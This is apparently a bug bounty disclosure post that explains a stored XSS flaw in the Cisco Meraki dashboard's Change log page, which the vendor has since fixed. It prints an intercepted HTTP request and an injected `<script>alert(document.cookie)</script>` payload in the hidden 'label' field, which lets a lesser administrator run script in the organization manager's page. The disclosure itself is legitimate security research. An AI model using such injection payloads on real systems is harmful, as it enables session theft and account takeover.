I would like to elaborate the stored XSS finding that I have reported to Cisco Meraki during the bug bounty program.
I was navigating Cisco Meraki web site over
https://meraki.cisco.com/. It enables administrators to manage their organization networks over the web.
While testing for XSS, I searched for places where data is inserted in a page and retrieved in another. I found the "Change log" section which enables the organization manager to view configuration changes performed by administrators on the organization networks.
Each administrator should have access only to the network he manages in a certain organization . What if one of the administrators is evil and wants to execute malicious scripts in the page of the manager who has access to all networks in such organization? I thought about this risk and started to find a way to do it.
This is a way to do it:
I checked how the change log page is rendered. It displays the values of "Label", "Old Value", "New Value". They represent the values entered by the administrator while changing a setting in a network.
A variable called "changes" in the "Change log" page holds these values. The function "make_change_log_table" reads the contents of the variable and displays the table:
<script
type='text/javascript'>
var changes =
[{"new_text":"America -
Belize","time":1365963215.47505,"category":"Network-wide
settings","admin_name":"hassan","meraki_admin_change":false,"time_str":"Apr
14
18:13", "admin_email":"test@gmail.com", "network_url_tag":"abbas3", "label":"Local
time
zone","network_encrypted_id":"123HRcx", "network_name":"abbas3","old_text":"America
- Los Angeles","ssid_name":null},....]
......
make_change_log_table(changes);
I wanted to enter malicious script in those values and see how they will be rendered. So, I visited a page where you can change a network configuration. An example page is the radio setting page:
When the admin clicks on the "Save Changes" button, a request is sent to the server having the parameter "settings_change_hash" which is filled with the new settings change in JSON format.
This is a sample request:
POST /abbas5/n/DBR9eax/manage/configure/update_radio
HTTP/1.1
Host: n23.meraki.com
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:20.0)
Gecko/20100101 Firefox/20.0
X-Requested-With: XMLHttpRequest
Content-Length: 318
Cookie:
registered=true;
dash_auth=MO-dsPG4hdypf6ABCauH60MzelPo4hdnfTPG0Z9suIwdXqYug1ABCkqmjMVN4YYc2plL2334_OyzBFRFgkjw5q3Ouxk8Y5LwjO-b860DXY4CqyXAnDl84ozpVDDV2C-ASCka16EsAXObJYo9lU-1hxtuVn;
_session_id=f8239db220b1280bcf42ab20bdeb6bd6; (referral)|utmcmd=referral|utmcct=/login/new_account
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
authenticity_token=28nABCvKbZ0lQWehVH%2Bn0a8sHABCbs2zPRgSoonQZbE%3D&node_group%5Bcountry_code%5D=DZ&node_group%5Btxpow_control%5D=off&radio_changes=&
settings_change_hash={"node_group[country_code]":{"label":"Country","new_text":"Algeria","old_text":"United
States"}}
I intercepted such request and made my injection in the "label" value. I chose the "label" field because it was a hidden and filled secretly. The app will probably trust it. So, I filled the "settings_change_hash" parameter with the value:
{"node_group[country_code]":{"label":"Country<script>alert(document.cookie)</script>", "new_text":"Algeria","old_text":"United
States"}}
When I visited the change log page, BOOM !!
This is what happened. The response returned in the following context:
<script
type='text/javascript'>
var changes =
[{"new_text":"Algeria","time":1365961405.36341,"category":"Radio
settings","admin_name":"hassan","meraki_admin_change":false, "time_str":"Apr
14
17:43", "admin_email":"test@gmail.com","network_url_tag":"abbas5", "label":"Country<script>alert(document.cookie)<\/script>" ,"network_encrypted_id":"DBR9eax","network_name":"abbas5", "old_text":"United
States","ssid_name":null}
......
make_change_log_table(changes);
The
script is properly escaped in the variable
"changes". Note that
</script> was replaced by
<\/script> in the response
. However,
the function
"make_change_log_table(changes)" read the contents of the
"changes" variable and rendered the value of the
"label" item without escaping causing the script to execute.
This issue was present only in the
"label" value.
It was trusted by the app and the result was a malicious script executing in the organization administrator page.
Cisco Meraki fixed the issue immediately and rewarded me.
Bug bounty program rules for Cisco Meraki is available on
https://meraki.cisco.com/trust/#srp